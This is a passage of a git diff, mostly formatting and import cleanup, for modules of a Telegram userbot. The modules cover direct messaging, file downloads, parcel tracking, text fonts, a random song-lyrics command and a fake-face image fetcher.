{current_meaning_definition}\n\n" + ) except Exception as e: caption_str = str(e) reply_msg_id = event.message.id @@ -37,7 +39,7 @@ async def _(event): allow_cache=True, voice_note=True, silent=True, - supports_streaming=True + supports_streaming=True, ) except: pass diff --git a/fridaybot/modules/dm.py b/fridaybot/modules/dm.py index a65ad282..b454949f 100644 --- a/fridaybot/modules/dm.py +++ b/fridaybot/modules/dm.py @@ -1,40 +1,46 @@ # By @HeisenbergTheDanger and @xditya -import os -import re from telethon import * -from fridaybot import bot -from ..utils import admin_cmd + from fridaybot import CMD_HELP -#Fixed by @NOOBGeng Second Member + +from ..utils import admin_cmd + + +# Fixed by @NOOBGeng Second Member @borg.on(admin_cmd(pattern="dm ?(.*)")) async def _(dc): - + d = dc.pattern_match.group(1) - - c = d.split(" ")#hehe + + c = d.split(" ") # hehe chat_id = c[0] - try: #dc hehe + try: # dc hehe chat_id = int(chat_id) - #hmm 🤔🤔🤔🤔 - except BaseException:#lalalala - + # hmm 🤔🤔🤔🤔 + except BaseException: # lalalala + pass - + msg = "" - masg = await dc.get_reply_message() #ghanta😒😒 + masg = await dc.get_reply_message() # ghanta😒😒 if dc.reply_to_msg_id: await borg.send_message(chat_id, masg) await dc.edit("⚜️Message Delivered! Sar⚜️") for i in c[1:]: - msg += i + " "#Fixed by @NOOBGeng Second Member - if msg == "":#hoho + msg += i + " " # Fixed by @NOOBGeng Second Member + if msg == "": # hoho return try: await borg.send_message(chat_id, msg) await dc.edit("`⚜️Message Delivered!⚜️`") - except BaseException:#hmmmmmmmmm🤔🤔 + except BaseException: # hmmmmmmmmm🤔🤔 await dc.edit(".dm (username) (text)") -CMD_HELP.update({"dm": ".dm (username) (text)\n or\n .dm (username)(reply to msg)\n it'll forward the replyed msg"}) + +CMD_HELP.update( + { + "dm": ".dm (username) (text)\n or\n .dm (username)(reply to msg)\n it'll forward the replyed msg" + } +) diff --git a/fridaybot/modules/download3.py b/fridaybot/modules/download3.py index 39b5b84b..4f0082d2 100644 --- a/fridaybot/modules/download3.py +++ b/fridaybot/modules/download3.py @@ -3,16 +3,15 @@ .dwl .dwl url | file.name to download files from a Public Link""" -import aiohttp import asyncio import math import os import time from datetime import datetime + from pySmartDL import SmartDL -from telethon import events -from telethon.tl.types import DocumentAttributeVideo -from ..utils import admin_cmd, humanbytes, progress, time_formatter + +from ..utils import admin_cmd, humanbytes, progress @borg.on(admin_cmd(pattern="dwl ?(.*)")) @@ -33,14 +32,16 @@ async def _(event): Config.TMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress(d, t, mone, c_time, "trying to download") - ) + ), ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) else: end = datetime.now() ms = (end - start).seconds - await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) elif input_str: start = datetime.now() url = input_str @@ -61,12 +62,13 @@ async def _(event): now = time.time() diff = now - c_time percentage = downloader.get_progress() * 100 - speed = downloader.get_speed() - elapsed_time = round(diff) * 1000 + downloader.get_speed() + round(diff) * 1000 progress_str = "{0}{1}\nProgress: {2}%".format( - ''.join(["█" for i in range(math.floor(percentage / 5))]), - ''.join(["░" for i in range(20 - math.floor(percentage / 5))]), - round(percentage, 2)) + "".join(["█" for i in range(math.floor(percentage / 5))]), + "".join(["░" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) estimated_total_time = downloader.get_eta(human=True) try: current_message = f"trying to download\nURL: {url}\nFile Name: {file_name}\n{progress_str}\n{humanbytes(downloaded)} of {humanbytes(total_length)}\nETA: {estimated_total_time}" @@ -78,7 +80,9 @@ async def _(event): end = datetime.now() ms = (end - start).seconds if downloader.isSuccessful(): - await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) else: await mone.edit("Incorrect URL\n {}".format(input_str)) else: diff --git a/fridaybot/modules/ekart.py b/fridaybot/modules/ekart.py index 7822e5bb..6660d9f4 100644 --- a/fridaybot/modules/ekart.py +++ b/fridaybot/modules/ekart.py @@ -1,17 +1,18 @@ - -from uniborg.util import friday_on_cmd import requests + from fridaybot import CMD_HELP from fridaybot.utils import admin_cmd - @friday.on(admin_cmd(pattern="ekart (.*)")) async def _(event): if event.fwd_from: return input_str = event.pattern_match.group(1) - urlo = "https://track.aftership.com/trackings?courier=ekart&tracking-numbers=" + str(input_str) + urlo = ( + "https://track.aftership.com/trackings?courier=ekart&tracking-numbers=" + + str(input_str) + ) url = "https://ekart-api-chi.vercel.app/check?id=" + str(input_str) r = requests.get(url) @@ -25,7 +26,6 @@ async def _(event): place = oqwz.get("Place") status = oqwz.get("Status") - caption = f""" Ekart Tracking Merchant Name:- {merchant} Order Status:- {order_status} @@ -54,7 +54,3 @@ async def _(event): \n**Usage :** Shows Details And Latest Updates About Given Tracking-ID." } ) - - - - diff --git a/fridaybot/modules/emojify.py b/fridaybot/modules/emojify.py index 78f93e56..0010be94 100644 --- a/fridaybot/modules/emojify.py +++ b/fridaybot/modules/emojify.py @@ -5,10 +5,11 @@ """ import emoji -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP from fridaybot.modules import fonts as emojify +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="emoji(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="emoji(?: |$)(.*)", allow_sudo=True)) diff --git a/fridaybot/modules/ensongs.py b/fridaybot/modules/ensongs.py index df203966..87fc12cc 100644 --- a/fridaybot/modules/ensongs.py +++ b/fridaybot/modules/ensongs.py @@ -4,22 +4,13 @@ """ - - -from telethon import events - import asyncio - -import os - -import sys - import random from ..utils import admin_cmd -@borg.on(admin_cmd(pattern=r"engsongs", outgoing=True)) +@borg.on(admin_cmd(pattern=r"engsongs", outgoing=True)) async def _(event): if event.fwd_from: @@ -30,136 +21,200 @@ async def _(event): await asyncio.sleep(2) - x=(random.randrange(1,33)) + x = random.randrange(1, 33) + + if x == 1: + + await event.edit( + "🎶 I'm in love with the shape of you \n We push and pull like a magnet do\n Although my heart is falling too \n I'm in love with your body \n And last night you were in my room \n And now my bedsheets smell like you \n Every day discovering something brand new 🎶 \n 🎶 I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body 🎶 \n **-Shape of You**" + ) + + if x == 2: + + await event.edit( + "🎶 I've been reading books of old \n The legends and the myths \n Achilles and his gold \n Hercules and his gifts \n Spiderman's control \n And Batman with his fists \n And clearly I don't see myself upon that list 🎶 \n **-Something Just Like This **" + ) + + if x == 3: + + await event.edit( + "🎶 I don't wanna live forever \n 'Cause I know I'll be livin' in vain \n And I don't wanna fit wherever \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home 🎶 \n **-I don't Wanna Live Forever **" + ) + + if x == 4: + + await event.edit( + "🎶 Oh, hush, my dear, it's been a difficult year \n And terrors don't prey on \n Innocent victims \n Trust me, darling, trust me darling \n It's been a loveless year \n I'm a man of three fears \n Integrity, faith and \n Crocodile tears \n Trust me, darling, trust me, darling 🎶 \n **-Bad Lier" + ) + + if x == 5: + + await event.edit( + "🎶 Walking down 29th and Park \n I saw you in another's arms \n Only a month we've been apart \n **You look happier** \n \n Saw you walk inside a bar \n He said something to make you laugh \n I saw that both your smiles were twice as wide as ours \n Yeah, you look happier, you do 🎶 \n **-Happier **" + ) + + if x == 6: + + await event.edit( + "🎶 I took the supermarket flowers from the windowsill \n I threw the day old tea from the cup \n Packed up the photo album Matthew had made \n Memories of a life that's been loved \n Took the get well soon cards and stuffed animals \n Poured the old ginger beer down the sink \n Dad always told me, 'don't you cry when you're down' \n But mum, there's a tear every time that I blink 🎶 \n **-Supermarket Flowers**" + ) + + if x == 7: + + await event.edit( + "🎶 And you and I we're flying on an aeroplane tonight \n We're going somewhere where the sun is shining bright \n Just close your eyes \n And let's pretend we're dancing in the street \n In Barcelona \n Barcelona \n Barcelona \n Barcelona 🎶 \n **-Barcelona **" + ) + + if x == 8: + + await event.edit( + "🎶 Maybe I came on too strong \n Maybe I waited too long \n Maybe I played my cards wrong \n Oh, just a little bit wrong \n Baby I apologize for it \n \n I could fall, or I could fly \n Here in your aeroplane \n And I could live, I could die \n Hanging on the words you say \n And I've been known to give my all \n And jumping in harder than \n Ten thousand rocks on the lake 🎶 \n **-Dive**" + ) + + if x == 9: + + await event.edit( + "🎶 I found a love for me \n Darling just dive right in \n And follow my lead \n Well I found a girl beautiful and sweet \n I never knew you were the someone waiting for me \n 'Cause we were just kids when we fell in love \n Not knowing what it was \n \n I will not give you up this time \n But darling, just kiss me slow, your heart is all I own \n And in your eyes you're holding mine 🎶 \n **-Perfect**" + ) + + if x == 10: + + await event.edit( + "🎶 I was born inside a small town, I lost that state of mind \n Learned to sing inside the Lord's house, but stopped at the age of nine \n I forget when I get awards now the wave I had to ride \n The paving stones I played upon, they kept me on the grind \n So blame it on the pain that blessed me with the life 🎶 \n **-Eraser**" + ) + + if x == 11: + + await event.edit( + "🎶 Say, go through the darkest of days \n Heaven's a heartbreak away \n Never let you go, never let me down \n Oh, it's been a hell of a ride \n Driving the edge of a knife. \n Never let you go, never let me down \n \n Don't you give up, nah-nah-nah \n I won't give up, nah-nah-nah \n Let me love you \n Let me love you 🎶 \n **-Let me Love You**" + ) + + if x == 12: + + await event.edit( + "🎶 I'll stop time for you \n The second you say you'd like me to \n I just wanna give you the loving that you're missing \n Baby, just to wake up with you \n Would be everything I need and this could be so different \n Tell me what you want to do \n \n 'Cause I know I can treat you better \n Than he can \n And any girl like you deserves a gentleman 🎶 **-Treat You Better**" + ) - if x==1: + if x == 13: - await event.edit("🎶 I'm in love with the shape of you \n We push and pull like a magnet do\n Although my heart is falling too \n I'm in love with your body \n And last night you were in my room \n And now my bedsheets smell like you \n Every day discovering something brand new 🎶 \n 🎶 I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body 🎶 \n **-Shape of You**") + await event.edit( + "🎶 You're the light, you're the night \n You're the color of my blood \n You're the cure, you're the pain \n You're the only thing I wanna touch \n Never knew that it could mean so much, so much \n You're the fear, I don't care \n 'Cause I've never been so high \n Follow me through the dark \n Let me take you past our satellites \n You can see the world you brought to life, to life \n \n So love me like you do, lo-lo-love me like you do \n Love me like you do, lo-lo-love me like you do 🎶 \n **-Love me Like you Do**" + ) - if x==2: + if x == 14: - await event.edit("🎶 I've been reading books of old \n The legends and the myths \n Achilles and his gold \n Hercules and his gifts \n Spiderman's control \n And Batman with his fists \n And clearly I don't see myself upon that list 🎶 \n **-Something Just Like This **") + await event.edit( + "🎶 Spent 24 hours \n I need more hours with you \n You spent the weekend \n Getting even, ooh ooh \n We spent the late nights \n Making things right, between us \n But now it's all good baby \n Roll that Backwood baby \n And play me close \n \n 'Cause girls like you \n Run around with guys like me \n 'Til sundown, when I come through \n I need a girl like you, yeah yeah 🎶 \n **-Girls Like You**" + ) - if x==3: + if x == 15: - await event.edit("🎶 I don't wanna live forever \n 'Cause I know I'll be livin' in vain \n And I don't wanna fit wherever \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home 🎶 \n **-I don't Wanna Live Forever **") + await event.edit( + "🎶 Oh, angel sent from up above \n You know you make my world light up \n When I was down, when I was hurt \n You came to lift me up \n Life is a drink and love's a drug \n Oh, now I think I must be miles up \n When I was a river dried up \n You came to rain a flood 🎶**-Hymn for the Weekend ** " + ) - if x==4: + if x == 16: - await event.edit("🎶 Oh, hush, my dear, it's been a difficult year \n And terrors don't prey on \n Innocent victims \n Trust me, darling, trust me darling \n It's been a loveless year \n I'm a man of three fears \n Integrity, faith and \n Crocodile tears \n Trust me, darling, trust me, darling 🎶 \n **-Bad Lier") + await event.edit( + "🎶 I've known it for a long time \n Daddy wakes up to a drink at nine \n Disappearing all night \n I don’t wanna know where he's been lying \n I know what I wanna do \n Wanna run away, run away with you \n Gonna grab clothes, six in the morning, go 🎶 \n **-Runaway **" + ) - if x==5: + if x == 17: - await event.edit("🎶 Walking down 29th and Park \n I saw you in another's arms \n Only a month we've been apart \n **You look happier** \n \n Saw you walk inside a bar \n He said something to make you laugh \n I saw that both your smiles were twice as wide as ours \n Yeah, you look happier, you do 🎶 \n **-Happier **") + await event.edit( + "🎶 You were the shadow to my light \n Did you feel us \n Another start \n You fade away \n Afraid our aim is out of sight \n Wanna see us \n Alive 🎶 \n **-Faded**" + ) - if x==6: + if x == 18: - await event.edit("🎶 I took the supermarket flowers from the windowsill \n I threw the day old tea from the cup \n Packed up the photo album Matthew had made \n Memories of a life that's been loved \n Took the get well soon cards and stuffed animals \n Poured the old ginger beer down the sink \n Dad always told me, 'don't you cry when you're down' \n But mum, there's a tear every time that I blink 🎶 \n **-Supermarket Flowers**") + await event.edit( + "🎶 It's been a long day without you, my friend \n And I'll tell you all about it when I see you again \n We've come a long way from where we began \n Oh I'll tell you all about it when I see you again \n When I see you again 🎶 \n **-See you Again**" + ) - if x==7: + if x == 19: - await event.edit("🎶 And you and I we're flying on an aeroplane tonight \n We're going somewhere where the sun is shining bright \n Just close your eyes \n And let's pretend we're dancing in the street \n In Barcelona \n Barcelona \n Barcelona \n Barcelona 🎶 \n **-Barcelona **") + await event.edit( + "🎶 I can swallow a bottle of alcohol and I'll feel like Godzilla \n Better hit the deck like the card dealer \n My whole squad's in here, walking around the party \n A cross between a zombie apocalypse and big Bobby 'The \n Brain' Heenan which is probably the \n Same reason I wrestle with mania 🎶 \n **-Godzilla**" + ) - if x==8: + if x == 20: - await event.edit("🎶 Maybe I came on too strong \n Maybe I waited too long \n Maybe I played my cards wrong \n Oh, just a little bit wrong \n Baby I apologize for it \n \n I could fall, or I could fly \n Here in your aeroplane \n And I could live, I could die \n Hanging on the words you say \n And I've been known to give my all \n And jumping in harder than \n Ten thousand rocks on the lake 🎶 \n **-Dive**") + await event.edit( + "🎶 Yeah, I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more \n I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more (Kio, Kio) 🎶 \n **-Old Town Road**" + ) - if x==9: + if x == 21: - await event.edit("🎶 I found a love for me \n Darling just dive right in \n And follow my lead \n Well I found a girl beautiful and sweet \n I never knew you were the someone waiting for me \n 'Cause we were just kids when we fell in love \n Not knowing what it was \n \n I will not give you up this time \n But darling, just kiss me slow, your heart is all I own \n And in your eyes you're holding mine 🎶 \n **-Perfect**") + await event.edit( + "🎶 Oh-oh, ooh \n You've been runnin' round, runnin' round, runnin' round throwin' that dirt all on my name \n 'Cause you knew that I, knew that I, knew that I'd call you up \n You've been going round, going round, going round every party in L.A. \n 'Cause you knew that I, knew that I, knew that I'd be at one, oh 🎶 \n **-Attention **" + ) - if x==10: + if x == 22: - await event.edit("🎶 I was born inside a small town, I lost that state of mind \n Learned to sing inside the Lord's house, but stopped at the age of nine \n I forget when I get awards now the wave I had to ride \n The paving stones I played upon, they kept me on the grind \n So blame it on the pain that blessed me with the life 🎶 \n **-Eraser**") - - if x==11: + await event.edit( + "🎶 This hit, that ice cold \n Michelle Pfeiffer, that white gold \n This one for them hood girls \n Them good girls straight masterpieces \n Stylin', wilin', livin' it up in the city \n Got Chucks on with Saint Laurent \n Gotta kiss myself, I'm so pretty \n \n I'm too hot (hot damn) \n Called a police and a fireman \n I'm too hot (hot damn) \n Make a dragon wanna retire man \n I'm too hot (hot damn) \n Say my name you know who I am \n I'm too hot (hot damn) \n And my band 'bout that money, break it down 🎶 \n **-Uptown Funk**" + ) - await event.edit("🎶 Say, go through the darkest of days \n Heaven's a heartbreak away \n Never let you go, never let me down \n Oh, it's been a hell of a ride \n Driving the edge of a knife. \n Never let you go, never let me down \n \n Don't you give up, nah-nah-nah \n I won't give up, nah-nah-nah \n Let me love you \n Let me love you 🎶 \n **-Let me Love You**") + if x == 23: - if x==12: + await event.edit( + "🎶 Just a young gun with the quick fuse \n I was uptight, wanna let loose \n I was dreaming of bigger things \n And wanna leave my own life behind \n Not a yes sir, not a follower \n Fit the box, fit the mold \n Have a seat in the foyer, take a number \n I was lightning before the thunder \n \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, thunder 🎶 \n **-Thunder**" + ) - await event.edit("🎶 I'll stop time for you \n The second you say you'd like me to \n I just wanna give you the loving that you're missing \n Baby, just to wake up with you \n Would be everything I need and this could be so different \n Tell me what you want to do \n \n 'Cause I know I can treat you better \n Than he can \n And any girl like you deserves a gentleman 🎶 **-Treat You Better**") - - if x==13: + if x == 24: - await event.edit("🎶 You're the light, you're the night \n You're the color of my blood \n You're the cure, you're the pain \n You're the only thing I wanna touch \n Never knew that it could mean so much, so much \n You're the fear, I don't care \n 'Cause I've never been so high \n Follow me through the dark \n Let me take you past our satellites \n You can see the world you brought to life, to life \n \n So love me like you do, lo-lo-love me like you do \n Love me like you do, lo-lo-love me like you do 🎶 \n **-Love me Like you Do**") + await event.edit( + "🎶 Oh, love \n How I miss you every single day \n When I see you on those streets \n Oh, love \n Tell me there's a river I can swim that will bring you back to me \n 'Cause I don't know how to love someone else \n I don't know how to forget your face \n No, love \n God, I miss you every single day and now you're so far away \n So far away 🎶 \n **-So Far Away**" + ) - if x==14: + if x == 25: - await event.edit("🎶 Spent 24 hours \n I need more hours with you \n You spent the weekend \n Getting even, ooh ooh \n We spent the late nights \n Making things right, between us \n But now it's all good baby \n Roll that Backwood baby \n And play me close \n \n 'Cause girls like you \n Run around with guys like me \n 'Til sundown, when I come through \n I need a girl like you, yeah yeah 🎶 \n **-Girls Like You**") - - if x==15: + await event.edit( + "🎶 And if you feel you're sinking, I will jump right over \n Into cold, cold water for you \n And although time may take us into different places \n I will still be patient with you \n And I hope you know 🎶 \n **-Cold Water**" + ) - await event.edit("🎶 Oh, angel sent from up above \n You know you make my world light up \n When I was down, when I was hurt \n You came to lift me up \n Life is a drink and love's a drug \n Oh, now I think I must be miles up \n When I was a river dried up \n You came to rain a flood 🎶**-Hymn for the Weekend ** ") + if x == 26: - if x==16: + await event.edit( + "🎶 When you feel my heat \n Look into my eyes \n It's where my demons hide \n It's where my demons hide \n Don't get too close \n It's dark inside \n It's where my demons hide \n It's where my demons hide 🎶 \n **-Demons**" + ) - await event.edit("🎶 I've known it for a long time \n Daddy wakes up to a drink at nine \n Disappearing all night \n I don’t wanna know where he's been lying \n I know what I wanna do \n Wanna run away, run away with you \n Gonna grab clothes, six in the morning, go 🎶 \n **-Runaway **") - - if x==17: + if x == 27: - await event.edit("🎶 You were the shadow to my light \n Did you feel us \n Another start \n You fade away \n Afraid our aim is out of sight \n Wanna see us \n Alive 🎶 \n **-Faded**") + await event.edit( + "🎶 Who do you love, do you love now? \n I wanna know the truth (whoa) \n Who do you love, do you love now? \n I know it's someone new \n You ain't gotta make it easy, where you been sleepin'? 🎶 \n **-Who do Love? **" + ) - if x==18: + if x == 28: - await event.edit("🎶 It's been a long day without you, my friend \n And I'll tell you all about it when I see you again \n We've come a long way from where we began \n Oh I'll tell you all about it when I see you again \n When I see you again 🎶 \n **-See you Again**") + await event.edit( + "🎶 Your touch is magnetic \n 'Cause I can't forget it \n (There's a power pulling me back to you) \n And baby I'll let it \n 'Cause you're so magnetic I get it \n (When I'm waking up with you, oh) 🎶 \n **-Magnetic**" + ) - if x==19: + if x == 29: - await event.edit("🎶 I can swallow a bottle of alcohol and I'll feel like Godzilla \n Better hit the deck like the card dealer \n My whole squad's in here, walking around the party \n A cross between a zombie apocalypse and big Bobby 'The \n Brain' Heenan which is probably the \n Same reason I wrestle with mania 🎶 \n **-Godzilla**") + await event.edit( + "🎶 Girl my body don't lie, I'm outta my mind \n Let it rain over me, I'm rising so high \n Out of my mind, so let it rain over me \n \n Ay ay ay, ay ay ay let it rain over me \n Ay ay ay, ay ay ay let it rain over me 🎶 \n **-Rain over Me**" + ) - if x==20: + if x == 30: - await event.edit("🎶 Yeah, I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more \n I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more (Kio, Kio) 🎶 \n **-Old Town Road**") + await event.edit( + "🎶 I miss the taste of a sweeter life \n I miss the conversation \n I'm searching for a song tonight \n I'm changing all of the stations \n I like to think that we had it all \n We drew a map to a better place \n But on that road I took a fall \n Oh baby why did you run away? \n \n I was there for you \n In your darkest times \n I was there for you \n In your darkest night 🎶 \n **-Maps**" + ) - if x==21: - - await event.edit("🎶 Oh-oh, ooh \n You've been runnin' round, runnin' round, runnin' round throwin' that dirt all on my name \n 'Cause you knew that I, knew that I, knew that I'd call you up \n You've been going round, going round, going round every party in L.A. \n 'Cause you knew that I, knew that I, knew that I'd be at one, oh 🎶 \n **-Attention **") - - if x==22: - - await event.edit("🎶 This hit, that ice cold \n Michelle Pfeiffer, that white gold \n This one for them hood girls \n Them good girls straight masterpieces \n Stylin', wilin', livin' it up in the city \n Got Chucks on with Saint Laurent \n Gotta kiss myself, I'm so pretty \n \n I'm too hot (hot damn) \n Called a police and a fireman \n I'm too hot (hot damn) \n Make a dragon wanna retire man \n I'm too hot (hot damn) \n Say my name you know who I am \n I'm too hot (hot damn) \n And my band 'bout that money, break it down 🎶 \n **-Uptown Funk**") - - if x==23: + if x == 31: - await event.edit("🎶 Just a young gun with the quick fuse \n I was uptight, wanna let loose \n I was dreaming of bigger things \n And wanna leave my own life behind \n Not a yes sir, not a follower \n Fit the box, fit the mold \n Have a seat in the foyer, take a number \n I was lightning before the thunder \n \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, thunder 🎶 \n **-Thunder**") + await event.edit( + "🎶 I wish—I wish that I was bulletproof, bulletproof \n I wish—I wish that I was bulletproof, bulletproof \n (Bullet-bulletproof, bullet-bullet-bulletproof) \n I'm trippin' on my words and my patience \n Writing every verse in a cadence \n To tell you how I feel, how I feel, how I feel (Yeah) \n This is how I deal, how I deal, how I deal (Yeah) \n With who I once was, now an acquaintance \n Think my confidence (My confidence) is in the basement \n Tryin' to keep it real, keep it real, keep it real (Yeah) \n 'Cause I'm not made of steel, made of steel 🎶 \n **-Bulletproof**" + ) - if x==24: + if x == 32: - await event.edit("🎶 Oh, love \n How I miss you every single day \n When I see you on those streets \n Oh, love \n Tell me there's a river I can swim that will bring you back to me \n 'Cause I don't know how to love someone else \n I don't know how to forget your face \n No, love \n God, I miss you every single day and now you're so far away \n So far away 🎶 \n **-So Far Away**") + await event.edit( + "🎶 You won't find him down on Sunset \n Or at a party in the hills \n At the bottom of the bottle \n Or when you're tripping on some pills \n When they sold you the dream you were just 16 \n Packed a bag and ran away \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA 🎶 \n **-Jesus in LA**" + ) - if x==25: - - await event.edit("🎶 And if you feel you're sinking, I will jump right over \n Into cold, cold water for you \n And although time may take us into different places \n I will still be patient with you \n And I hope you know 🎶 \n **-Cold Water**") - - if x==26: - - await event.edit("🎶 When you feel my heat \n Look into my eyes \n It's where my demons hide \n It's where my demons hide \n Don't get too close \n It's dark inside \n It's where my demons hide \n It's where my demons hide 🎶 \n **-Demons**") - - if x==27: - - await event.edit("🎶 Who do you love, do you love now? \n I wanna know the truth (whoa) \n Who do you love, do you love now? \n I know it's someone new \n You ain't gotta make it easy, where you been sleepin'? 🎶 \n **-Who do Love? **") - - if x==28: - - await event.edit("🎶 Your touch is magnetic \n 'Cause I can't forget it \n (There's a power pulling me back to you) \n And baby I'll let it \n 'Cause you're so magnetic I get it \n (When I'm waking up with you, oh) 🎶 \n **-Magnetic**") + if x == 33: - if x==29: - - await event.edit("🎶 Girl my body don't lie, I'm outta my mind \n Let it rain over me, I'm rising so high \n Out of my mind, so let it rain over me \n \n Ay ay ay, ay ay ay let it rain over me \n Ay ay ay, ay ay ay let it rain over me 🎶 \n **-Rain over Me**") - - if x==30: - - await event.edit("🎶 I miss the taste of a sweeter life \n I miss the conversation \n I'm searching for a song tonight \n I'm changing all of the stations \n I like to think that we had it all \n We drew a map to a better place \n But on that road I took a fall \n Oh baby why did you run away? \n \n I was there for you \n In your darkest times \n I was there for you \n In your darkest night 🎶 \n **-Maps**") - - if x==31: - - await event.edit("🎶 I wish—I wish that I was bulletproof, bulletproof \n I wish—I wish that I was bulletproof, bulletproof \n (Bullet-bulletproof, bullet-bullet-bulletproof) \n I'm trippin' on my words and my patience \n Writing every verse in a cadence \n To tell you how I feel, how I feel, how I feel (Yeah) \n This is how I deal, how I deal, how I deal (Yeah) \n With who I once was, now an acquaintance \n Think my confidence (My confidence) is in the basement \n Tryin' to keep it real, keep it real, keep it real (Yeah) \n 'Cause I'm not made of steel, made of steel 🎶 \n **-Bulletproof**") - - if x==32: - - await event.edit("🎶 You won't find him down on Sunset \n Or at a party in the hills \n At the bottom of the bottle \n Or when you're tripping on some pills \n When they sold you the dream you were just 16 \n Packed a bag and ran away \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA 🎶 \n **-Jesus in LA**") - - if x==33: - await event.edit("Not in a mood to sing. Sorry!") diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index 36b5ffaa..558305ae 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -1,13 +1,15 @@ # Written By Inuka Asith for the VirtualUserbot -# Exclusively written for VirtualUserbot +# Exclusively written for VirtualUserbot # Credits goes to bot providers import asyncio from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd + @friday.on(admin_cmd(pattern=r"purl ?(.*)")) async def _(event): @@ -36,8 +38,6 @@ async def _(event): ) - - @friday.on(admin_cmd(pattern=r"reader ?(.*)")) async def _(event): if event.fwd_from: @@ -68,7 +68,6 @@ async def _(event): ) - @friday.on(admin_cmd(pattern=r"connector ?(.*)")) async def _(event): if event.fwd_from: @@ -80,7 +79,8 @@ async def _(event): await event.edit("[Connected](https://t.me/missrose_bot)") await asyncio.sleep(3) await event.delete() - + + CMD_HELP.update( { "Exclusive": "**Exclusive**\ diff --git a/fridaybot/modules/execmod.py b/fridaybot/modules/execmod.py index 3b8fdb38..5e7a6f83 100644 --- a/fridaybot/modules/execmod.py +++ b/fridaybot/modules/execmod.py @@ -10,6 +10,7 @@ from asyncio.subprocess import PIPE as asyncPIPE from fridaybot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): diff --git a/fridaybot/modules/fakeimagegen.py b/fridaybot/modules/fakeimagegen.py index 56c2074c..89a09f11 100644 --- a/fridaybot/modules/fakeimagegen.py +++ b/fridaybot/modules/fakeimagegen.py @@ -12,23 +12,27 @@ # along with this program. If not, see . +import os + import requests + from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -import os -#hmm +from fridaybot.utils import friday_on_cmd, sudo_cmd + + +# hmm @friday.on(friday_on_cmd(pattern="picgen")) @friday.on(sudo_cmd(pattern="picgen", allow_sudo=True)) async def _(event): if event.fwd_from: return - + url = "https://thispersondoesnotexist.com/image" response = requests.get(url) if response.status_code == 200: - with open("FRIDAYOT.jpg", 'wb') as f: - f.write(response.content) - + with open("FRIDAYOT.jpg", "wb") as f: + f.write(response.content) + captin = f"Fake Image By VirtualUserbot.\nGet Your Own Superpowers From [VirtualUserbot](github.com/inukaasith/virtualuserbot)." fole = "FRIDAYOT.jpg" await borg.send_file(event.chat_id, fole, caption=captin) diff --git a/fridaybot/modules/font3.py b/fridaybot/modules/font3.py index 49e164fd..0606da91 100644 --- a/fridaybot/modules/font3.py +++ b/fridaybot/modules/font3.py @@ -1,7 +1,8 @@ -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP from fridaybot.modules import fonts +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="fmusical(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="fmusical(?: |$)(.*)", allow_sudo=True)) diff --git a/fridaybot/modules/fonts2.py b/fridaybot/modules/fonts2.py index 2672c2b6..8ae118b4 100644 --- a/fridaybot/modules/fonts2.py +++ b/fridaybot/modules/fonts2.py @@ -1,9 +1,10 @@ import random -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP from fridaybot.modules import fonts +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="egyptf(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="egyptf(?: |$)(.*)", allow_sudo=True)) diff --git a/fridaybot/modules/football.py b/fridaybot/modules/football.py index 9eaa39dc..2172ba9c 100644 --- a/fridaybot/modules/football.py +++ b/fridaybot/modules/football.py @@ -13,29 +13,36 @@ import requests + from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd from fridaybot.Configs import Config +from fridaybot.utils import admin_cmd + @friday.on(admin_cmd(pattern="fpl")) async def _(event): if event.fwd_from: return - + if 